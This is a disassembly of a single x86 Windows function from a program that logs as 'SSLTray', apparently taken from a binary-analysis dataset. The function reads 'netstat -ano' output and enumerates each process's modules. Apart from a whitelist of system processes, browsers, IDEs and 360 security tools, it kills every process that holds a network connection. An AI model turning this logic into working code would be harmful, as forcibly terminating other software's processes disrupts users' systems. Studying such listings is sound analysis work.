Function at 0x40c020
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4793e6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1750
call fcn.0044e0a0
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov byte [esp + 0x360], bl
xor eax, eax
mov ecx, 0xff
lea edi, [esp + 0x361]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, 0xf
stosb byte es:[edi], al
mov dword [esp + 0x40], esi
mov dword [esp + 0x3c], ebx
mov byte [esp + 0x2c], bl
mov dword [esp + 0x176c], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
lea eax, [esp + 0x28]
push eax
push str.netstat__ano
mov byte [esp + 0x1774], 1
call fcn.0040b4e0
add esp, 8
test al, al
jne 0x40c0e4
push str.SSLTray:_RunCMDLine_failed.
call fcn.00402a90
mov eax, dword [esp + 0x44]
add esp, 4
cmp eax, 0x10
jb 0x40c0cb
mov ecx, dword [esp + 0x2c]
push ecx
call fcn.0044e8f9
add esp, 4
or eax, 0xffffffff
mov ecx, dword [esp + 0x1764]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
lea edx, [esp + 0x18]
push edx
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x50]
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.0040af70
call fcn.0040bc50
add esp, 0x20
cmp al, bl
jne 0x40c161
push str.SSLTray:_AnalyzeNetstatResult_failed.
call fcn.00402a90
mov eax, dword [esp + 0x20]
add esp, 4
cmp eax, ebx
je 0x40c132
push eax
call fcn.0044e8f9
add esp, 4
cmp dword [esp + 0x40], 0x10
jb 0x40c146
mov ecx, dword [esp + 0x2c]
push ecx
call fcn.0044e8f9
add esp, 4
mov eax, 0xfffffffe
mov ecx, dword [esp + 0x1764]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
mov ebp, dword [esp + 0x1c]
xor edx, edx
mov dword [esp + 0x10], edx
jmp 0x40c170
cmp ebp, ebx
jne 0x40c178
xor eax, eax
jmp 0x40c181
mov eax, dword [esp + 0x20]
sub eax, ebp
sar eax, 2
cmp edx, eax
jge 0x40c538
xor eax, eax
mov byte [esp + 0x48], bl
mov ecx, 0x40
lea edi, [esp + 0x49]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 0x150], bl
mov ecx, 0x40
lea edi, [esp + 0x151]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [esp + 0x258], bl
xor eax, eax
mov ecx, 0x40
lea edi, [esp + 0x259]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0x14], ebx
stosb byte es:[edi], al
mov edx, dword [ebp + edx*4]
push edx
push ebx
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
lea eax, [esp + 0x14]
push eax
push 0x1000
lea ecx, [esp + 0x768]
push ecx
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov eax, dword [esp + 0x760]
push 0x104
lea edx, [esp + 0x4c]
push edx
push eax
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
lea eax, [esp + 0x48]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40c220
sub eax, edx
mov dword [esp + 0x44], eax
je 0x40c298
lea ecx, [esp + 0x258]
push ecx
lea edx, [esp + 0x154]
push edx
push ebx
lea eax, [esp + 0x54]
push ebx
push eax
call fcn.0044fbb2
add esp, 0x14
xor eax, eax
mov cl, byte [esp + eax + 0x150]
mov byte [esp + eax + 0x48], cl
inc eax
cmp cl, bl
jne 0x40c250
lea eax, [esp + 0x258]
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40c270
lea edi, [esp + 0x48]
sub eax, edx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x40c280
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x10]
cmp dword [ebp + esi*4], 0xa
jl 0x40c500
lea eax, [esp + 0x48]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40c2b0
sub eax, edx
cmp eax, 4
jb 0x40c500
lea ecx, [esp + 0x48]
push ecx
push str.svchost.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
lea edx, [esp + 0x48]
push edx
push str.lsass.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
lea eax, [esp + 0x48]
push eax
push str.winlogon.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
lea ecx, [esp + 0x48]
push ecx
push str.devenv.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
lea edx, [esp + 0x48]
push edx
push str.eclipse.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
lea eax, [esp + 0x48]
push eax
push str.iexplore.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
lea ecx, [esp + 0x48]
push ecx
push str.maxthon.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
lea edx, [esp + 0x48]
push edx
push str.chrome.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
lea eax, [esp + 0x48]
push eax
push str.360se.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
lea ecx, [esp + 0x48]
push ecx
push str.firefox.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
lea edx, [esp + 0x48]
push edx
push str.ttraveler.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
lea eax, [esp + 0x48]
push eax
push str.theworld.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
lea ecx, [esp + 0x48]
push ecx
push str.opera.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
lea edx, [esp + 0x48]
push edx
push str.greenbrowser.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
lea eax, [esp + 0x48]
push eax
push str.myie2.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
lea ecx, [esp + 0x48]
push ecx
push str.myie.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
lea edx, [esp + 0x48]
push edx
push str.360tray.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
lea eax, [esp + 0x48]
push eax
push str.360rp.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
lea ecx, [esp + 0x48]
push ecx
push str.360sd.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
lea edx, [esp + 0x48]
push edx
push str.LiveUpdate360.exe
call fcn.0044f17a
add esp, 8
test eax, eax
je 0x40c500
mov ecx, dword [ebp + esi*4]
lea eax, [esp + 0x48]
push eax
push ecx
lea edx, [esp + 0x368]
push str.SSLTray:_Try_to_kill_process__d:___s_.
push edx
call fcn.0044dd9b
lea eax, [esp + 0x370]
push eax
call fcn.00402a90
mov ecx, dword [ebp + esi*4]
push ecx
call fcn.0040a430
add esp, 0x18
inc esi
mov dword [esp + 0x10], esi
mov edx, esi
jmp 0x40c170
mov eax, dword [ebp + esi*4]
lea edx, [esp + 0x48]
push edx
push eax
lea ecx, [esp + 0x368]
push str.SSLTray:_skip_system_process__d:___s_...
push ecx
call fcn.0044dd9b
lea edx, [esp + 0x370]
push edx
call fcn.00402a90
add esp, 0x14
inc esi
mov dword [esp + 0x10], esi
mov edx, esi
jmp 0x40c170
cmp ebp, ebx
je 0x40c545
push ebp
call fcn.0044e8f9
add esp, 4
cmp dword [esp + 0x40], 0x10
jb 0x40c559
mov eax, dword [esp + 0x2c]
push eax
call fcn.0044e8f9
add esp, 4
mov ecx, dword [esp + 0x1764]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret